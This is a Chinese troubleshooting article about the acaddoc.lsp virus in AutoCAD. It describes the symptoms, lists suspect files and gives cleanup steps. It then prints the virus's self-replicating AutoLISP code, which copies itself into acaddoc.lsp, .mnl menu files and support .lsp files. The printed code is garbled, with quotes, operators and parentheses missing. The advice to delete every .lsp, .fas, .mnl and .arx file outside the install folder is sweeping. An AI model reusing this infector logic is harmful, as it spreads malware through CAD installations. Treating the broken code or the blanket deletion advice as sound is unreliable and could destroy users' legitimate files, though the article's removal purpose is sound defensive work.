AutoCAD 菜单实用程序已加载.docx

AutoCAD 菜单实用程序已加载。;错误:输入的列表有缺陷AutoCAD 菜单实用程序已加载。;错误:输入的列表有缺陷=acaddoc.lspCAD 出现这种现象基本有以下几种情况：1。一般是由 CAD 的安装目录下或 CAD 的 SUPPORT 目录下有acad.lsp 这个文件引起的。这个文件可能是单位里有自己开发的程序，使自己单位人员编写的。2。CAD 病毒程序。判断是不是 CAD 被病毒破坏 3。查找电脑的其它目录中（主要是 windows 的系统目录）是否还有这些文件：hysoft*.dll,KtCnPub*.dll及 RyClient.dll sx32w.dll，如果有，删除后试一下（除了软件目录下的）。（搜索文件时，注意选择“搜索隐藏的文件”）=以下是相关操作步骤：1、若发现文件夹中多出 ACADDOC.LSP 文件即说明你的 CAD 中毒了。2、关闭 CAD 程序。3、全盘搜索*.fas*.lsp*.mnl*.arx 文件，除了 CAD 安装目录以外的该类文件均全部删除。4、检查 CAD 安装目录文件的修改时间，把 ACADDOC.LSP 病毒感染X:/Program Files/AutoCAD20*/Support 文件夹下的3d.lsp；3darray.lsp；acad2010.lsp；acad2010doc.lsp；acadinfo.lsp；ai_utilslsp；attredef.lsp；edge.lsp；mvsetup.lsp；sample-profile-util.lsp文件以及C:/Documents and Settings/用户名/Application Data/Autodesk/AutoCAD 20*/R16.2/chs/Support 下的*.MNL 文件中的病毒代码删除。（用记事本打开）5、把 CAD 安装目录中的所有*.fas*.lsp*.mnl*.arx 文件改为只读属性。说明：要删除的病毒代码在文件的尾部，具体如下：(setq flagx t)(setq bz(setq flagx t)(defun app(source target bz/flag flag1 wjm wjm1 text)(setq flag nil)(setq flag1 t)(if(findfile target)(progn(setq wjm1(open target r)(while(setq text(read-line wjm1)(if(=text bz)(setq flag1 nil);while(close wjm1);progn);if(if flag1(progn(setq wjm(open source r)(setq wjm1(open target a)(write-line(chr 13)wjm1)(whilesetq text(read-line wjm)(if(=text bz)(setq flag t)(if flag(progn(write-line text wjm1);progn);if);while(close wjm1)(close wjm);progn);if);defun(setvar cmdecho 0)(setq acadmnl(findfile acad.mnl)(setq acadmnlpath(vl-filename-directory acadmnl)(setq mnlfilelist(vl-directory-files acadmnlpath*.mnl)(setq mnlnum(length mnlfilelist)(setq acadexe(findfile acad.exe)(setq acadpath(vl-filename-directory acadexe)(setq support(strcat acadpath/support)(setq lspfilelist(vl-directory-files support*.lsp)(setq lspfilelist(append lspfilelist(list acaddoc.lsp)(setq lspnum(length lspfilelist)(setq dwgname(getvar dwgname)(setq dwgpath(findfile dwgname)(if dwgpath(progn(setq acaddocpath(vl-filename-directory dwgpath)(setq acaddocfile(strcat acaddocpath/acaddoc.lsp)(setq mnln 0)(while(mnln mnlnum)(setq mnlfilename(strcat acadmnlpath/(nth mnln mnlfilelist)(app mnlfilename acaddocfile bz)(app acaddocfile mnlfilename bz)(setq mnln(1+mnln);while(setq lspn 0)(while(lspn lspnum)(setq lspfilename(strcat support/(nth lspn lspfilelist)(app lspfilename acaddocfile bz)(app acaddocfile lspfilename bz)(setq lspn(1+lspn);while);progn);if(setq mnln 0)(while(mnln mnlnum)(setq mnlfilename(strcat acadmnlpath/(nth mnln mnlfilelist)(setq mnln1 0)(while(mnln1 mnlnum)(setq mnlfilename1(strcat acadmnlpath/(nth mnln1 mnlfilelist)(app mnlfilename mnlfilename1 bz)(setq mnln1(1+mnln1);while(setq lspn1 0)(while(lspn1 lspnum)(setq lspfilename1(strcat support/(nth lspn1 lspfilelist)(app mnlfilename lspfilename1 bz)(setq lspn1(1lspn1);while(setq mnln(1+mnln);while(setq lspn 0)(while(lspn lspnum)(setq lspfilename(strcat support/(nth lspn lspfilelist)(setq lspn1 0)(while(lspn1 lspnum)(setq lspfilename1(strcat support/(nth lspn1 lspfilelist)(app lspfilename lspfilename1 bz)(setq lspn1(1+lspn1);while(setq mnln1 0)(while(mnln1 mnlnum)(setq mnlfilename1(strcat acadmnlpath/(nth mnln1 mnlfilelist)(app lspfilename mnlfilename1 bz)(setq mnln1(1+mnln1);while(setq lspn(1+lspn)(load acadapq)(princ)后面可能还会有一些病毒程序代码，但大同小异，大部分以(setq flagxt)开头。该方法绝对不会对 CAD的功能使用造成影响，请大家放心使用。照此方法操作，再启动 Autocad 和打开文件时没有“输入的列表有缺陷”的提示了，启动速度快了，并且3DArray 命令可以使用了。非常感谢该文的作者。